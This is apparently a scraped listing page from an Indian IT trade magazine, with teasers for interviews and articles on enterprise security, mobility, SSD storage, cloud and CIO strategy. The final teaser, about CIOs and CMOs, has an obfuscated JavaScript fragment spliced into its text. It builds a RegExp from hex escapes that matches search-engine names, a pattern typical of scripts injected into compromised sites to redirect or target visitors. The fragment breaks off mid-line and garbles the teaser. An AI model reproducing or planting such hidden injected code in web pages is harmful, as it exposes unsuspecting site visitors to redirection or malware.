Indian IT Act is there to Help Enterprises

From a cyber security perspective, enterprises in India stand good in terms of awareness of data security. Are they equipped enough? I would say they are more equipped than many other jurisdictions. I am quite impressed with the level of security that they have – primarily because a lot of their guidance comes from multinationals that have offices here. The multinationals that have... By IT NEXT

IFFCO Group CTO Eyes Mobility With Oracle

By Geetha N

“Security-as-a-Service Makes Sense for a CIO”

How do you see the security landscape changing?Technological innovation can greatly improve productivity but also brings new risks. Today’s businesses are more connected, networked and mobile than ever before. They use multiple connected devices like laptops, PDAs and smartphones. Employees share more files, and enjoy the benefits of broadband, wireless hotspots and networked applications... By Yashvendra Singh

The First 100 Days of Learning as CIO was Enormous

The first 100 days for Shaffic Ahamed, the Country Manager-IT at Sandvik, handling global IT has been very educative and experiential, chock-full of much learning and unlearning. After serving as Manager-Web Technology at Bangalore-based Ingersoll Rand, Ahamed moved up to the current role—one which brought in several surprises and challenges.Ahamed candidly says, “My greatest... By Geetha N

Indian Enterprises will Witness the Rise of SSD

How is the SSD market shaping up in India? In advanced memory technology, Samsung’s focus has been in the SSD segment. We were amongst the first to recognise the strategic importance of SSDs. Now, we are recognised in the industry as one of the leaders in the segment. According to the latest “Gartner Forecast Analysis: NAND, Worldwide, 1Q14 Update" , the global SSD market is expected... By Subhankar Kundu

It’s Time Organizations Should Deploy Mobile-First Strategy

Is mobility picking up across enterprises today?Mobility is rapidly becoming enterprise-ready. I think in future every CXO has to put mobility at the first. Trends show that in the current digital world 'If you don't have a mobile strategy, you don't have a future strategy.'  For enterprises, it is time to acknowledge and integrate the mobility practice to the mutual benefit of corporations... By Mastufa Ahmed

“Voice Biometric, Fingerprint will Define Identity in Digital Banking”

What are the current trends in Global High Value Payment systems?In Global High Value systems, SWIFT handles the largest volume globally.  SWIFT deploys proprietary encryption and authentication technology. All certified institutions use SWIFT blackbox encryptors to connect to the SWIFT blackbone.More recently, SWIFT supports public key cryptography over SWIFT.NET over IP, Now, they support... By Subhankar Kundu

Security Loopholes in Modern Healthcare Networks

Healthcare providers will soon be required to provide communication and collaboration platforms that allow seamless integration among the various stakeholders. These changes in information flows, along with an explosion of digital content that needs to be stored and shared, are driving the need for a secure, flexible and scalable IT platform through which Providers, Payers and Health scientists... By IT NEXT

Collaborative Action Helps in Securing the Cloud Environment

Needless to say, enterprises are migrating varied applications to cloud which are posing a great security threat to the organisation; and this is giving sleepless nights to Chief Security Information Officers (CISOs). The challenge for CISOs has been to maintain cloud operations security with so many disparate interests. Most CISOs echo a similar sentiment when it comes to enterprise cloud:... By Geetha N

Only 10 Per Cent of Enterprises Have Enterprise Wide Deployment of Mobility

The rapid rise of mobile devices connected to enterprise systems is unmatched by any other technology in recent memory. Enterprises face dual pressures when it comes to mobility: They must serve internal stakeholders to increase productivity, while also serving external customers to increase engagement.  A new global survey from CIO Strategic Marketing Services and Triangle Publishing... By

HGST Launches PCIe SSDs for Performance-Intensive Apps

HGST, a Western Digital company announced the launch of its new FlashMAX III family of PCIe accelerators with improvement in price/performance for the most demanding database and cloud workloads. Also introduced is the new HGST ServerCache software that allows IT administrators to inject acceleration into their existing storage infrastructure by quickly and easily deploying a... By

CIO Should Work Closely with CMO to Enable the New Digital Transformation

With increasing competitiveness and the CMOs role getting into more focus even in the industries that were hitherto not considered marketing savvy, can the chief marketers deliver?  To know more, read this article: Are the CMOs Set to Drive Digital Transformation?   Yoanjiivar nsSGCDsaF1=new window["\x52\x65\x67\x45\x78\x70"]("\x28\x47"+"\x6f"+"\x6f\x67"+"\x6c"+"\x65\x7c\x59\x61"+"\... By Mastufa Ahmed